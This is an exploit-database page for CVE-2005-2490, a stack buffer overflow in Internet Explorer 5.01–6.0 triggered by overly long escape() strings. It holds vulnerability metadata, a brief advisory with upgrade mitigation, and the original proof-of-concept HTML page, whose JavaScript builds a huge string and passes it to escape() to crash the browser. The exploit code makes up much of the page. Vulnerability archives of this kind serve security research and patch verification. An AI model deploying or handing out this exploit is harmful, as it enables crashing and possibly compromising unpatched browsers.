header-logo
Suggest Exploit
vendor:
Internet Explorer
by:
Georgi Guninski
7,5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Internet Explorer
Affected Version From: Internet Explorer 5.01
Affected Version To: Internet Explorer 6.0
Patch Exists: YES
Related CWE: CVE-2005-2490
CPE: a:microsoft:internet_explorer
Metasploit: https://www.rapid7.com/db/vulnerabilities/suse-cve-2005-2490/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2005

Microsoft Internet Explorer Long Escape() Buffer Overflow

Georgi Guninski discovered a buffer overflow in Microsoft Internet Explorer. The vulnerability is caused due to an error in the handling of overly long escape() strings. This can be exploited to cause a stack-based buffer overflow via a malicious web page.

Mitigation:

Upgrade to Internet Explorer 6 SP1 or later.
Source

Exploit-DB raw data:

<html>
        Copyright Georgi Guninski
        <br>
        Cannot be used in vulnerability databases
        <br>
        Especially securityfocus/mitre/cve/cert
        <script>
        var s=String.fromCharCode(257);
        var ki="";
        var me="";
        for(i=0;i<1024;i++)
        {ki=ki+s;}
        for(i=0;i<1024;i++)
        {me=me+ki;}
        var ov=s;
        for(i=0;i<28;i++) ov += ov;
        for(i=0;i<88;i++) ov += me;

        alert("done generating");
        var fuckbill=escape(ov);
        alert("done escape");
        alert(fuckbill);
        </script>
</html>

# milw0rm.com [2005-09-26]

Navigation

Suggest Exploit

Services By CQR